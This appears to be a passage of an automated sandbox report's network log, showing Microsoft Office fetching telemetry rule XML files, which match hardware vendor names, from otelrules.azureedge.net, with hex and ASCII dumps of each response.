2024-11-15 08:55:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:13 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-16547b76f7fbkfmzhC1DFWm9tw00000000r00000000068hg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-1866b5c5fbbpxkkxhC1DFWhvmc00000001c0000000000e0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3ddb0506-b01e-0098-22fa-36cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085512Z-164f84587bft9l9khC1DFW32rc00000000y000000000e0ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:13 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085513Z-16547b76f7fwvr5dhC1DFW2c940000000mqg00000000gk0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:14 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e9527be4-001e-008d-727a-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085514Z-164f84587bfbvgrghC1DFWbs7w00000000w000000000dxr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:14 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:14 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085514Z-1866b5c5fbbfncq9hC1DFW7rf8000000014g000000000cmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085514Z-16547b76f7ftnm6xhC1DFW9c8c00000000r0000000004bat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:14 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:14 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085514Z-16547b76f7fkj7j4hC1DFW0a9g0000000mu000000000cp2a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:14 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ab7d284a-001e-005a-348d-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085514Z-164f84587bfbvgrghC1DFWbs7w00000000zg00000000685m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:14 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c1061624-501e-008c-1ca4-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085515Z-1866b5c5fbbsqznnhC1DFWg28g000000016000000000azvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085515Z-16547b76f7f8dwtrhC1DFWd1zn0000000mwg00000000k9p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
